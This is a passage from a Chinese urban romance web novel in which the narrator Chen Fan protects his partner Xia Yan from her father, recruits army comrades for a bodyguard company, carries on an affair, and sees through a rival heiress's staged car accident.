“夏振宇不会善罢甘休的,他是那种不达到目的誓不罢休的人,这次冯家倒了,他来应该是兴师问罪,没想到遇到了你,不然今晚我就要被她强行带走了。”
夏颜想想就后怕,好在身边有了依靠,她也有了和夏振宇对话的筹码。
“冯家倒了,还会有别的家族,他还会在找联姻对象,夏振宇心狠手辣,他只看中利益。”
“所以啊老公,你这些天要加把劲儿,多睡我几次,我一定要怀上宝宝,我就不信,夏振宇能用一个孕妇来联姻?”
夏振宇有张良计,夏颜就有过墙梯,这对父女,如果抛开怨恨不谈,在性格上其实很像,都是那种为了达到目的,可以不择手段的人,其实这样的人,更容易获得成功。
“好,我保准卖力气,让你一炮双响!”
“哎呀,你怎么说的那么难听,什么叫一炮,讨厌。”
夏颜在我怀里娇滴滴的撒娇,我的手臂环住了她。
“对不起老公,又把你卷入到夏家的破事里,夏家就是这样,虚伪至极,沽名钓誉!”
夏颜的内疚我感受到了,我安慰她:“你不需要道歉,选择和你同仇敌忾,是我的决定,你现在只需要休息,剩下的,我来。”
我的话让她极其的温顺,女人,就是得靠哄,哄死人不偿命。
我想起了柳媚笙透露给我的消息,我马上问道:“凡颜资本最近遇到困难了吗?”
“嗯?你听说什么了?”夏颜马上警惕道:“好像有人在打听东郊的地,想要从我们手里把它买下去。”
“你知道背后的人是谁么?”我问。
夏颜摇了摇头,道:“听说背景挺强,挺神秘的。”
夏颜揉了揉太阳穴,这段时间,光是整合冯家的资源,还清负债,就花了她不少的精力,现在没想到半路还杀出个莫名的敌人,夏颜不怕竞争,怕的是对手在背后使阴招。
“东郊那块地,你是怎么打算的?”我问。
“冯名城虽然贪婪,但眼光却很好,东郊离着市区开车大概30分钟,这里依山傍水,环境极佳,我想要集、休闲、度假、温泉、娱乐、高尔夫于一体的度假村。”
“看来我最近还要去一趟柳媚笙那里,看看她那里有没有关于东郊的消息。”
夏颜的话让我有些紧张,我庆幸自己没有说出秦悦的事情,不然以夏颜的聪明机智,一定会猜到,我是在柳媚笙那里得到的,那时候,我和柳媚笙的奸情就会暴露出来。
反正夏颜都要去柳媚笙那里,早两天晚两天,她都会知道秦悦的事情。
我这不是欺骗,只是不想让夏颜受伤,如果能瞒,我当然要瞒一辈子了,夏颜是我真心想要娶的女人。
“以后,你就得去凡颜资本上班了,你这个董事长不去,员工肯定不好好工作。”
“那你呢?”我问。
“我还有自己名下的公司要管理。”夏颜摸了摸我的头,道:“怎么,离开我,舍不得啊?”
“当然,其实,我更想和你在办公室来一发!”我笑嘻嘻的说。
“滚蛋,老娘可不想春光乍泄,不过嘛……你如果能给我来一次内裤走秀,我到时候看心情,心情好了就满足你!”
你看看,这小妮子,还惦记我给她走秀呢!
咚咚咚!
一阵急促的敲门声再一次响起。
我和夏颜同时一惊!
我们两个人对视一眼,她说道:“该不会夏振宇又回来了吧?”
我穿上拖鞋,马上去开门,这种事躲不掉的,只能去面对解决。
夏颜穿好睡衣,和我一起去开门,打开门,阿战伊一脸焦急的站在门口,他的脸上赫然印着五个手指印。
“夏振宇打你了?”夏颜问。
“嗯!”阿战点了点头,说道:“陈哥,夏老板要对付你们了,他派人要监视你们,他们正在来的路上!”
030夏颜再一次撒娇!
我看着阿战,心里起了疑,他是夏振宇的人,怎么会将这个消息告诉我和夏颜。
我掏出了一根烟,递给了阿战,然后我拿出火机,点燃,给阿战点烟,这个举动,让阿战受宠若惊,我在观察他的表情,我要判断他的目的是什么。
“你是怎么知道消息的?”我问。
“夏老板打电话的时候我听到了。”阿战抽着烟说道。
“来了多少人,哪里来的?”我继续问。
“都是从保镖公司雇佣来的,大概有十个左右吧。”阿战看着我,有些担心的说道:“夏老板知道你身手不凡,已经开始着手调查你,这些个保镖,就是用来对付你的。”
我看了一眼夏颜,她眉头紧皱,估计她也知道,夏振宇此举是为了什么,就是为了抢走夏颜做准备。
“这个老东西,真挺能使阴招的!”我在心里暗骂了一声,然后问道:“阿战,你来这里通风报信,不怕夏振宇知道吗?”
阿战摇了摇头,道:“陈哥,我们这种保镖就是走个过场,老板今天高兴了,就用我们,明天不高兴,就开除我们,我如果真和你动手,陈哥肯定会打残我,我现在虽然被开除了,但我最起码没有受伤,至于工作嘛,在找就是了。”
我拍了拍阿战的肩膀,说道:“谢谢了兄弟。”
我和阿战简单的聊了几句,互赠了名片,就回了屋子。
我坐在沙发上,思考着如何保护夏颜,我是绝对不能让夏振宇带走她的,但我又不可能24小时寸步不离。
夏颜见我眉头紧皱,她走到我的身后,轻柔的帮我揉着肩膀,想要分担我的愁绪。
“怎么了,老公,是在为我担心么?”夏颜娇滴滴的在我耳边问。
其实我挺佩服夏颜的,她心理可不是一般的强大,这个时候还能笑的出来。
“你就不怕夏振宇给你抓走?”我问。
“有你在我不怕,我知道,你会保护我的。”夏颜双手搂着我的肩膀,整个人靠在我的肩膀上,她的胸,紧紧的贴着我,格外诱惑。
“你说,我们开一个保镖公司怎么样?”我侧过头,问了一嘴。
“真的?”夏颜听后,露出一个舒心的笑容,道:“老公若是喜欢,那就开啊,正好是你的老本行,咱们自己家的保镖,用着也放心。”
“你也是在担心阿战?”我立刻心领神会,看来夏颜和我想到一块了。
夏颜点了点头,她说:“这个阿战,未免对咱们太殷勤了,我不担心夏振宇在商业上对付我,只担心他使用非商业手段,我也怕他故意玩了个苦肉计,让阿战故意接近我们,看我们的反应。”
“我会用最快的速度,将保镖公司组建起来,我有好几个兄弟,都退伍了,身手不错,反侦察能力极强。”
“知道啦,老公放手去干吧,我现在要去洗澡了,今晚你还要满足我哦~不许偷懒~”
夏颜在我的嘴上吧嗒亲了一口,然后让我抱着她进浴室,我的手抚摸着她的每一寸肌肤,虽然已经上了床,可她每次和我亲密接触,她的脸都会微醺,都会不好意思,她越这样,我越是上瘾。
“要一起洗澡么?”我吻着夏颜的脖子问。
“哎呀,讨厌,和你一起,我还能洗了吗?你个大色狼!”
夏颜羞红了脸,将我推出了浴室外。
我回到客厅,立刻拿起手机,给我原来退伍的战友打电话。
我先拨通了刘飞的电话,他是睡在我下铺的兄弟,没有选入狼牙,后来选择退伍了,刘飞这小子格斗、反侦察、驾驶综合实力不错,但单项并不突出。
“凡子,你特么咋才给我打电话,老子等你消息,等的好苦啊!”
刘飞在电话里劈头盖脸的给我一顿骂,我也会骂道:“你特么少废话,明天来海城,我要开一个保镖公司!”
“草,明天?!老子长翅膀了?能飞去啊!”
“你特么最好是给我飞来,快点吧,这里有钱,有美女,老子在这里找到媳妇了!”
“好好好!老子明天就去,你要是不给我安排一个媳妇,看我咋干你!”
联系好了刘飞,我随后给周大伟打去了电话,这小子是我隔壁寝室的战友,单兵作战能力极强,和我同属于狼牙,因为家里原因,他也是早早就退伍了。
“老班长,这么晚了还给我打电话,有什么指示啊?”周大伟在电话笑呵呵的说。
“大伟,我在海城办了个保镖公司,你过来帮帮我,咱们兄弟有钱一起赚。”我说。
“好嘞,多谢老班长提携!我现在就去买火车票。”
“草,你快点来,坐飞机,老子给你报销!”
“班长,我没钱!”
“草,你钱呢?我记得你还有二十多万呢!”
“给老爹看病,都花没了,唉,到现在女朋友都没有呢。”
周大伟在电话里嘿嘿笑着,就如同当年一样傻憨傻憨的,我听着却一阵心酸,这些老战友,现在日子过的也挺紧张的,我甚至在想,如果我没遇到夏颜,会不会也这么拮据。
“我给你微信转了2万块钱,就当你这个月的工资,你赶紧来海城帮我,在晚点来,你嫂子就让人绑走了!”
我找了一个借口将2万块转给了周大伟,男人在外,都要脸面,就这样,周大伟还死活不要,看我发火了他才收下。
有了刘飞和周大伟这两个老小子,我如虎添翼,别说夏振宇喊了十个保镖来,就是喊了二十个,都不够这两个小子打的,这就是业余和职业的区别。
夏颜洗完了澡,她披着浴巾走了出来,她一边走一边擦头发,湿漉漉的头发黏在了诱人的脸颊上,她的浴巾随意搭在身上,露出性感迷人的锁骨,修长的双腿裸露在外,似乎是察觉到了我贪婪的目光,夏颜故意撩起浴袍的一角,将美腿呈现给我。
“美吗?”
夏颜踮起脚尖,每走一步都扭动一下腰肢,她性感、诱惑、又带着年轻的气息,这是柳媚笙不曾给我的感觉。
每次和夏颜在一起,我都感觉自己年轻的如同十八岁的小伙。
“美!”我毫不犹豫的回答。
夏颜嘴角勾起一个满意的弧度,她双手勾住了我的脖子,含情脉脉道:“那你还在等什么?还不尽情的占有我?”
031清纯学妹!
这一宿,夏颜对我索求无度。
她好像要榨干我一样,直到凌晨,我俩沉沉的睡去。
当我睁开眼醒来的时候,夏颜早就不见了踪影,我看到了她在桌子上留了字条:“老公,昨晚辛苦你了,我去上班了,亲亲你一百下。”
我笑着将字条放在桌子上,用笔在后面画了一颗红心,算是给她的一种回应。
知晓了夏颜的种种过往,越来越觉得她一个女人,在商场打拼的不容易,她破碎的原生家庭,并没有击垮她,而是让她更加珍惜来之不易的爱情。
我简单的洗漱了一下,然后赶往了凡颜资本,这是我正式以董事长身份上班的第一天。
有人爱,有事做,有所期待,这不就是人生么。
“陈总好。”
“好。”
我笑着和手下的员工打招呼,我尽量不和员工起冲突,员工就是我的财神爷,只有他们为我干活,才能为我创造利润,那种懂不懂就辱骂员工的老板,我个人觉得有点沙比。
现在凡颜资本核心就是:东郊。
我想要了解一下这块地进展如何,于是我将夏颜留给我的秘书小张,喊了进来。
“小张,东郊那块地进展的还顺利么?”我问。
小张似乎有点拘谨,因为她跟我还不是很熟悉,她也就是一个25岁刚毕业的学生,我听夏颜说,小张从她大学时,就跟着她一起创业,算是她企业的一名功臣。
“小张,坐下说,不用拘谨。”我想要展现出我亲和的一面,于是我笑着说:“我听夏总说起过你,她说你个人工作能力很强,尤其是对金融发展领域和资产评估,有独到的间接。”
小张脸上终于有了笑容,道:“陈总您过奖了,是夏总领导的好。”
“所以,夏总把你留给了我,让你来帮助我完成东郊那块地。”我说。
“多谢陈总栽培,只不过东郊那块地,现在进展确实有点缓慢……有点麻烦……”
小张的眉头紧锁,看样子似乎有什么事情,于是我问道:“遇到什么问题,你告诉我,我来解决,如果我解决不了,是我陈凡没有本事。”
噗嗤!
小张笑了笑,道:“难怪夏总会爱上你,陈总你确实是第一个很有担当的人。”
和小张寒暄了几句,她和我也熟悉了起来,她说道:“东郊那块地,有几个原料供应商,无法按照日期给供应原料,总是在推脱,这就导致我们的工期往后延长。”
延长工期就等于在提高造价,如果是一个供应商有问题,我还能理解,但是多个供应商,那就绝对有猫腻了。
“我们必须在他们这里拿原材料么?”我问。
“也可以去外市拿,只不过,那样会提高我们的生产成本,毕竟来回的运费就不少钱。”小张认真的分析。
“你将这些供货商的名字写下来,我到时候亲自去找他们,还有别的事情么?”我问。
“其实……还有个钉子户,这个钉子户原本已经收了冯氏集团的动迁款,可是现在看换了开发商,就又要加钱,否则的不搬走。”
这种钉子户在开发动迁的时候,很常见,最后走,无非就是想多要些钱。
“他们多要多少钱。”我问。
“他们先要咱们新建度假村的一套别墅。”小张说。
呵呵!
人心不足蛇吞象!
这一套别墅对外出售最少也要500万起,他们以为我们的钱是大风刮来的吗?
“先别管他们,也比接触他们,就晾着他们,然后周围的人家都搬走了吗?”我问。
“只剩这一家了。”
“断水断电,我看他们能撑多久!”我直接命令道。
我和秘书小张商定好了计划后,她就按照我说的执行,至于那就几个供货商,我倒要看看他们到底玩的什么花样。
我看了一眼手表,心里琢磨着刘飞和周大伟的飞机也要到海城了,我准备去接机,好兄弟被我喊来创业,我当然要尽地主之谊。
我开着迈巴赫,就往飞机场赶去,本来阴郁的天气,忽然下起了大雨,尽管我开着雨刷器,还是看不清前面的路,只能降低车速。
砰!
沉闷的撞击声响起,我感觉自己的车屁股被人怼了一下,我眉头一皱,心想:这特么是谁把我的车给撞了?
外面下雨,我没有下车,我也没有带伞,我坐在驾驶室,看着外面的后视镜,好像是一辆丰田轿车,把我追尾了。
果然,从丰田车上下来了一个女人,她打着伞慌慌张张的向我的车跑来,她敲了敲的车窗,我按下车窗控制键。
当车窗降下来的时候,我看到了一张清纯无比的脸,我内心一惊,因为这个女人正是柳媚笙给我看的照片——秦悦!
她素颜出镜,脸上没有一丝的妆容,她的眼神像是一只受惊的小鹿,满是无助和愧疚,她穿着一件褪了色的连衣裙,简单干净,犹如大学校园里走出来的清纯校花。
“对不起,对不起……先生……”她惊慌失措,语气着急的对我说:“我刚拿到驾照,今天还下雨,我没看清,撞了你的车……对不起……我不是有意的……”
我内心只觉得好笑,你不是有意的,你特么就是故意的,马路这么宽,你不是奔着我来的奔谁来的?
秦悦说着说着眼泪扑簌簌的往下掉,她的泪水挂在了尝尝的眼睫毛上,如果不是我早就知道她的身份,肯定会被她精湛的演技给骗了。
秦家的大小姐,掌握上亿资源的富婆,在雨天装成学生妹,来撞我的车,她真够用心的,既然你喜欢玩,那我奉陪到底好了。
我现在越来越怀疑,这个秦悦是来给我制造麻烦的。
我虽然心里不悦,但我脸上却没有表现出来,我一脸的淡定,冷冷道:“你人没事吧?”
“我没事……”秦悦摇了摇头,一脸慌张的说:“先生,你的车很贵吧,我赔不起啊,我还是个大学生……”
妈的!
装,你就装吧,你特么都25了,还大学生呢,要不是柳媚笙告诉我你的底细,我真特么要被你清纯的长相骗过去了。
再一次想起张无忌他妈说的话,越是漂亮的女人,越会骗人,说的话越不能相信。
“你叫保险了吗?”我冷冷的问。
“啊?”秦悦一脸的慌张,她眼里含泪道:“怎么叫保险啊?我不会啊,这个车是我借来的,我该怎么办啊?”
秦悦低着头看着我,将一个楚楚可怜又无力承担后果的校园学妹,演绎的淋漓尽致……
032学妹的心思!
呵呵……
我内心一阵鄙夷,心想:秦悦,你在我这装什么懵懂无知,少不更事,恐怕死在你手里的竞争对手不在少数!
我眯着眼打量着秦悦,尽管她撑着雨伞,可大雨还是打湿了她的衣衫,她身上单薄的连衣裙,此时紧紧的贴着她的身体,将她玲珑曲线勾勒出来,她的胸口正对着我的脸。
“啊……”
察觉到了我的眼光,秦悦立即双手捂住自己的胸口。
“我来处理,你的保险公司是哪一家。”
“应该是……我问问我朋友……”
于是我坐在驾驶室里,看着秦家大小姐在我面前演戏,她问完后告诉了我,我联系了保险公司,让他们来出险。
我看了看自己的迈巴赫,尾灯被怼碎了,保险杠怼进去了一点,不耽误开,不过秦悦的车,伤的有些严重,需要叫拖车,大概过了十多分钟,保险公司的人就来现场拍照。
整个过程,秦悦就站在我的身边,她柔弱的就像一只流浪猫,她时不时的瞄着我,眼神里充满楚楚可怜和一种不让人察觉的小得意。
我预判:秦悦是觉的自己的奸计得逞了。
随后,交警也来了,并且开出了责任单,秦悦全责。
我特意看了看秦悦在罚单上的签字,秦悦。
看来她是拿准了我不知道她的身份,所以敢用真名,秦家小姐费尽心思自导自演的这一出,她接近我的目的究竟是什么?
“先生,真的太谢谢您了。”秦悦说着,向我鞠躬致歉,然后道:“我叫秦悦,我可以留你一个联系方式吗?等定损结果出来了,我会主动联系您的!”
我将手机递了过去,我并没有留给她我的手机号,而是将微信给了她。
“我叫陈凡,赔偿的事情不着急。”
她立即从被淋湿的包里,拿出一个老旧的手机,然后小心翼翼的扫了我的微信,抱歉道:“谢谢你陈先生,您真是一个好人!”
呵……
好人?
清纯学妹装的真是让我哭笑不得。
“你的车送去修理厂了,你怎么回去?”我问。
“我打个车就好了。”秦悦说道。
“你要去哪?”我问。
“海城大学。”秦悦说道。
“走吧,我要去机场,正好顺路稍你一程。”
柳媚笙给我的资料,秦悦在国外早就大学毕业了,她现在说自己是海城大学,我倒要亲自送她去,看看她还怎么演。
“那……谢谢陈先生了……”
坐上副驾驶后,我载着秦悦去海城大学,车里陷入了沉默,她很拘谨,不是攥着双手,就是衣角,将一个羞涩女孩的状态演绎的淋漓尽致。
我的手机一直在响。
我接通后,劈头盖脸就被刘飞一顿乱码。
“陈凡,你特么的让我来海城投靠你,老子都下飞机了,你人呢!”
“路上,马上到了!”
“草了,你最好快点,不然老子饶不了你!”
嘟嘟嘟嘟!
刘飞挂电话了,可见这小子等着急了,随后没多久,周大伟的电话也响起了。
“班长,我下飞机了,怎么去找你啊?”
“等着,我在路上,马上到了。”
“收到!”
我打电话的时候,秦悦就侧着头看我,她听到了我的电话,有些不好意思道:“不好意思,陈先生,如给你添麻烦了,如果不是我撞了你的车,你可能就到机场了……”
我没有任何回应,保持沉默。
秦悦见我不说话,继续说道:“这样吧,陈先生,为了给您赔罪,我……我明天想请你吃饭……可以吗?虽然我没有太多的钱……”
秦悦眼巴巴的看着我,她的目光在乞求我。
我心想:终于,你说出目的了吧,邀约虽迟但到,可能她演戏就是为了更好的接近我。
我望着窗外,嘴角勾起一抹意味深长的笑容,道:“既然你没钱,那就不用破费了。”
我选择了拒绝,以退为进。
“啊!”秦悦惊呼了一声,她搓着手指,撒娇道:“不破费不破费,我一定要请你吃饭的,不然我心里真的过意不去!”
秦悦扯了扯我的衣服,乞求道:“陈先生,就答应我好不好嘛?”
她撒起娇来,娇滴滴的,让人欲罢不能,我的眼睛在她的身上瞄了好几次。
看着她那“真诚”又“无助”的样子,我只能半推半就,道:“那行吧,时间地点你来定,定好了微信告诉我就行。”
“太好了!太谢谢您了,那我们明天不见不散!”
秦悦喜笑颜开,她露出了一个纯洁的不能再纯洁的笑容。
我将车子开进了海城大学,我倒要看看,她这个戏份还能演到什么程度。
“你住几号楼?”我下意识的问道。
“15号楼。”秦悦淡定的回答。
于是,我按照标识,将车子开到了女寝15号宿舍楼前。
“陈先生,谢谢你,我们微信联系!”
秦悦笑着和我打招呼,然后一路急匆匆的进了女生宿舍。
我没有马上开车走,而是等了一会儿,我见秦悦没有出来,这才选择了离开。
秦家的千金小姐,不惜自降身份,装柔弱,装可怜,来接近我,不管她的目的是什么,这场戏,我接下了。
你扮猪吃虎,那我就将计就计!
我倒要看看,究竟是你的演技好,还是我的手段高!
……
海城大学,女生宿舍,最后一个房间,530。
浑身湿漉漉的秦悦,推门而入,原本还热闹的寝室,顿时变的异常安静,宿舍里的三个女孩,立即起立,向秦悦汇报工作。
“小姐,热水澡为你准备好了,您可以随时冲澡。”一个大概20出头岁的女孩,小心翼翼的向秦悦递来毛巾。
“小姐,您衣服湿了,新的衣服已经为您准备完毕。”另一个20多岁的女孩,同样双手将准备好的新衣服奉上。
“小姐,陈凡的车已经驶出了女生宿舍楼。”一个坐在电脑前的女生,快速的向秦悦汇报。
秦悦拿好换洗衣服,刚要进入浴室,她停下了脚步,转过头,目光凌厉的问道:“他马上就走了?”
“没有,陈凡是在小姐您进入宿舍楼,准确说,是在进迈入530寝室的那一刻,他才离开的。”电脑少女谨慎的回答,就差精确到秒了。
“呵……”
秦悦眼神里的懵懂与清澈转瞬即逝,她的眼神瞬间变得犀利无比,整个人变得冷漠,这才是她的本来面目。
“陈凡,没想到你警惕性还挺强,看来我小看你了。”
“王容,告诉手下的人,不要暴露身份,所有出现在我身边的人,必须都要符合大学生的气质和形象。”
“是,小姐!”
秦悦捧着衣服和浴袍进入了浴室,为了接近陈凡,她特意租下了这间寝室,还为海城大学捐赠了一笔助学金,她目的就是让自己的身份真实。
热水哗哗的冲洗着秦悦的身体,热气充满了不算大的浴室,镜子上铺满了一层雾气。
不知为何,秦悦的脑海中忽然闪现出陈凡偷瞄自己胸部的场景,异样的感觉犹如电流席卷全身,她的脸瞬间羞红。
“他是喜欢上了我吗?不然为什么盯着我的胸呢?”
“难道夏颜没有我的大?”
秦悦望着镜子里美丽的躯体,她扬起脖子,自言自语道:“这清纯的脸蛋,姣好的面容,柔软的身体,应该没有哪个男人会不爱吧……”
“夏颜,当年你给我的痛苦,我定要偿还给你!”
033馋死你个小坏蛋!
海城飞机场。
我终于在迟到三十分钟后,将刘飞和周大伟两个人接了出来。
一出站,刘飞盯着我面前的迈巴赫,眼睛都直了。
“我草,凡子,你没跟我说你都开迈巴赫了!我草,你快告诉你,你特么的是不是富二代!”
刘飞一脸惊讶,他嘴张的老大,下巴都要惊的掉地下了。
“我不是富二代,但是你嫂子有钱!”我笑着给两个好兄弟打开了车门。
“刘总,周总,请上车!”我特意弯腰,感谢好兄弟来这里帮我。
“草,凡子,看你用迈巴赫来接我,我就不跟你计较你迟到的事儿了,不过你家苏韵啥时候这么有钱了?”刘飞好奇的问我。
“我和苏韵分手了,现在我老婆叫夏颜,到时候介绍给你们认识一下。”我在前面开车,调整后视镜。
刘飞性格活泼好动,他上车就东瞧瞧西看看,随手摆弄着,周大伟性格沉稳,他就安静的坐在后面,看着窗外,不知道在想什么。
“好啊,赶紧把嫂子喊来,也让哥们几个认识一下!我还没见过白富美呢!”
刘飞这小子比我还激动,看来美女的魅力就是强!
“今天给你们二位接风,咱去海城最好的酒吧消费。”
我作为东道主,当然拉着两兄弟去往柳媚笙的魅惑酒吧。
一是,这个场子确实有牌面。
二是,我挺馋柳媚笙身子的,几天不睡,我还有点想她。
我立刻给柳媚笙发了条微信:“柳姐,我一会儿过去,给我留个位置。”
“冤家!你在不发消息,姐姐还以为你忘了我呢,是我伺候你伺候的不舒服么,你个没良心的。”
“小弟弟,今晚要不要留在姐姐这里呀,我又买了新衣服,好性感的呢!”
“小弟弟,机不可失时不再来啊,你要珍惜姐姐呦~”
我就发了一条消息,柳媚笙呼呼给我回了好几条讯息,还都是那种调情的信息,她真是对的起妖孽这两个字。
我带着刘飞和周大伟来到了魅惑酒吧,柳媚笙一见我来了,立即笑脸相迎,她笑着说:“陈总,好些日子没来了,你要的雅座都给安排好了。”
柳媚笙在前面领着我,她今天穿着个旗袍,踩着高跟鞋,走起路来一扭一扭的,刘飞的眼睛都看直了。
他一个傻小子,哪里尝过柳媚笙这样的尤物。
“二位里面请~”柳媚笙推开了包房的门,富丽堂皇的装修,闪的刘飞和周大伟睁不开眼睛。
柳媚笙也极其给我面子,让手下的服务员拿来了红酒。
我刚要进门,柳媚笙一把抓住了我的胳膊,将我拽了出来,她使出来浑身的力气,将我壁咚在了墙上。
“柳姐,你……急不可耐啊……”
还没等我的话说完,柳媚笙的红唇就印在了我的唇上。
她热情,她火辣,她迷人。
我直接揽住她的腰肢,和她尽情的拥吻,在昏暗的走廊里,她对我尽情的占有。
“今晚,留不留下来陪姐姐?”
柳媚笙拽着我的衣领子,一脸霸道的看着我:“如果不留下来,以后都不让你碰我了,馋死你个小坏蛋!”
“留下来啊,姐姐这么迷人,我怎么舍得走呢,等我招待好兄弟,就去陪你。”我摸了一下柳媚笙的脸,道:“你就这么馋我?”
“哼!你个没良心的!”柳媚笙点了点我的鼻子,嗔道:“你家里有个正宫娘娘,外面有我,现在还有秦家大小姐对你虎视眈眈,指不定以后有多少妹子等着你!”
“唉,人无千日好,花无百日红,姐姐到时候年老色衰,你就会忘记我把。”
柳媚笙这几句话说的委屈巴巴的,还有点不甘,我听着心都融化了,我握着她的手道:“柳姐,你永远都是我心里绽放的玫瑰花,永不凋落的那种!”
“讨厌,不过姐姐听你哄我,还是很开心的。”柳媚笙帮我整理了一下衣服,然后将我推进了包房。
她整理了一下衣服,从刚才娇滴滴的样子恢复了酒吧女王。
“怎么样,这红酒喝的习惯么?”我坐下来问道。
“习惯,是酒咱兄弟就能喝,管它什么颜色的!”刘飞是个酒桶,他能喝是出了名的。
“凡子,不是我吹牛逼,当时我就说你小子以后肯定有出息,你特么做事,要么不做,要做做绝,你不成功谁成功?”
“苟富贵,不相忘,凡子你发达了,还能记得咱兄弟,兄弟”
“班长,你说嫂子要被绑架了,是怎么回事?”周大伟问道。
“对啊,凡子,咋回事啊?你惹着谁了?”刘飞抻脖子来问我。
我把我和夏颜认识的经过,还有夏振宇的所作所为,都告诉了这俩兄弟,没想到他俩听完比我还气愤。
“凡子,走,咱去干了夏振宇,我倒要看看,他找的那些个狗腿子,能有咱兄弟三人能打?兄弟联手,打的他们屎都拉出来。”
“草,你真恶心。”我忍不住骂了一句。
“班长,所以你想让我和刘飞保护嫂子?”周大伟问。
“目前先这样,我已经让秘书去办保镖公司了,等公司一成立,你们两个就是周总和刘总了,咱们这一身的武艺不能荒废了!”我信誓旦旦的说道。
“这个主意好,我支持你凡子,没想到我刘飞这辈子也能当个总经理了,咱以后可不愁找对象了!”
刘飞越喝越来劲儿,喝着喝着,他就唱了起来,都是以前服役时候的歌,虽然我已经退伍了,可听着就特来劲儿,骨子里的对祖国的那份忠诚热血,心里对兄弟们的情义,是多久都不会忘记的。
“寒风飘飘落叶,军中是一朵绿花。”
“亲爱的战友你不要想家,不要想妈妈。”
刘飞的歌声让我和周大伟顿时红了眼眶,想想我们曾经在一起的日子,就感慨颇深,尤其是周大伟,他当初退役,就是因为老爹生病了,可没成想,最后他花光积蓄,还是没留住人。
什么叫生死弟兄!
这才叫生死弟兄!
一起扛过枪,一起出生入死!
我们三个大老爷们,此时共情了。
就在这时候,我的手机响了,是秘书小张,我马上接起电话。
“陈总,夏总出事了!”
034红颜一怒!
“怎么回事?”
听到夏颜有事,我的心都一紧。
“今天下午,东郊那个钉子户王坤给公司打电话,说要和公司谈一谈拆迁补偿的事情,我们按照陈总的吩咐,晾着他们,后来他们就去工地闹事,还打伤了我们的工人,夏总知道了,就赶去现场了,现在被王坤他们扣在这里,夏总还受伤了……”
“等着,我这就过去!”
“妈的,这群王八蛋!老子扒了他们的皮!”
“出什么事了?凡子?”刘飞问我。
“你嫂子让人欺负了。”我放下酒杯就往外面走。
“凡子,等等我们,兄弟跟你一起去,我看看哪个混蛋不长眼,敢欺负嫂子!”
刘飞叫嚣着跟着冲了出来,周大伟没有说话,但他眼神里的阴狠就说明了一切。
我们兄弟三个人怒气冲冲,柳媚笙瞧见了,就赶紧抓着我的肩膀问怎么回事,我简单说了两句,柳媚笙道:“走,我跟你一起去?”
“你去做什么?”我反问。
“你们三个都喝酒了,我不开车谁开车啊?”
柳媚笙白了我一眼,着急道:“快走吧,颜颜那还不知道乱成什么样。”
我看到柳媚笙为夏颜着想,我心里有些感动,都说情敌见面分外眼红,但柳媚笙却很有分寸感,让我很舒服。
没有哪个女人能不吃醋不嫉妒,我知道,柳媚笙是不想让我为难,才会选择妥协。
“谢谢你,柳姐。”我小声说道。
“你要是有良心,对姐姐好点就行了。”柳媚笙趁机拍了拍我的屁股,示意我快点走。
我们四个人坐在一辆车里,往东郊工地那边开去,我一路上心情有些烦闷,是在为夏颜担心,我也没想到,吞掉冯家的产业,后续会有这么多的麻烦。
“别担心,马上就到了。”柳媚笙握了握我的手,安慰着我。
“嗯。”
我靠在座椅上,心里盘算着,如果夏颜真有点什么事情,我会让王坤他们后悔来到这个世上!
“凡子,你不用担心,到时候你一声令下,我和大大伟打不死他们,我都好几年没打架了,正好练练手!”
“嗯,班长放心,我下手有分寸!”周大伟跟着也说了一句。
我很欣慰,这两个兄弟有事是真上。
“现在是法治社会,你们还是要小心谨慎的好,有些事情不要违法乱纪。”柳媚笙好心的提醒着。
“好的,嫂子!”刘飞笑着答应了。
噗!
柳媚笙笑了,她没想到刘飞竟然喊她嫂子,她看了我一眼,调侃道:“是你让他喊嫂子的?”
我笑着摇了摇头,道:“我可没说啊,是兄弟他自愿喊的。”
“哼,那不知道他以后要多少个嫂子,恐怕喊都喊不过来了。”
我苦笑着不说话,我现在最多也就夏颜和柳媚笙这两个女人,她俩没事就喜欢榨干我,要是女人多了,我还真不知道能不能应付过来。
吱!
一个急刹车,柳媚笙的车子停在了东郊工地。
我刚一下车,就看见工地门口那边聚满了人,他们手里拿着木棍,一看就是来找事的,叫骂声传入到我的耳里。
“姓夏的,你别以为你赶走了冯天宇就了不起,在你王爷这,不管用知道不!”
“我就明白的告诉你,我这块地,你必须给我一套别墅,否则我天天来你工地闹,你们工人我见你们一次打你们一次!”
“老子要一套别墅,是给你们脸懂不懂?你们还敢晾着我?给你们点比脸就不知道姓啥了?今天,你们要是不给我个说法,你问问我这些兄弟,他们干不干!”
我皱起眉头,这不就是地痞无赖跑工地来撒泼么。
我怎么可能会惯着他们?
“你想要什么说法?!”我高喊了一声:“我是凡颜资本的董事长,有什么事,冲我来!”
王坤转过头,他看见了我,一脸不屑道:“呵,我以为吞掉冯家的是谁呢,没想到是个无名小辈,老子在海城混了这么多年,还没见过你。”
“今天过后,你会记住的!”
我语气阴冷,眼神犀利。
“陈总,我们在这里!”
我听到了秘书小张的呼喊,我朝着声音看过去,我心一紧,我看到夏颜正坐在地上,她的胳膊上已经划出了一道口子。
我在看了看四周,有两三个工人已经被打的头破血流。
“赶紧送医院去!”我对着工人说道:“叫救护车了吗?”
“叫了,正在赶来。”
我放下心,然后朝着夏颜跑过去,我一脸心疼的问道:“怎么回事?还好么?疼不疼?”
夏颜点了点头,委屈道:“有点疼。”
我看了看夏颜的胳膊,那就是被东西划伤的,好在伤口不是很深,但如果处理不好,容易感染。
“怎么回事?谁打的你!”
“他,王坤,他推倒了我,我的胳膊划坏了!”
夏颜立刻向我告状,她知道我是她的靠山,只要有我在的地方,她就有安全感。
我将夏颜扶起来,这时候,柳媚笙也赶了过来,我对柳媚笙说道:“柳姐,你帮我把夏颜送去医院。”
“好的,你自己也要小心。”柳媚笙似乎想起来什么,提醒我道:“陈凡,千万别走极端,如果有需要我帮忙的,就给我打电话。”
“好。”
柳媚笙扶着夏颜想要去医院,但在门口却被王坤那帮人给拦下来了。
“你什么意思!王坤!”我怒气冲冲的质问。
“今天,不把拆迁款的事情给我解决,谁都不能走!”王坤瞪了一眼夏颜,冷嘲热讽道:“姓夏的不识好歹,非要拦着我,她自找的,现在想要去医院,没门!”
“动手不,凡子,我特么看不下去了,这小子太能装逼了!”
刘飞摩拳擦掌,跃跃欲试,他脾气本就暴躁,现在看王坤那耍无赖的样子,他就想上去干他!
我摆了摆手,现在还不是时候。
我让秘书小张拿出了合同,然后将合同展示给大家看。
“王坤,当初你们已经和冯氏集团签订了拆迁合同,冯氏集团已经给了你220万的拆迁补偿,这钱你已经拿到手了,你就应该履行合约,搬家!”我一字一句清清楚楚的说道。
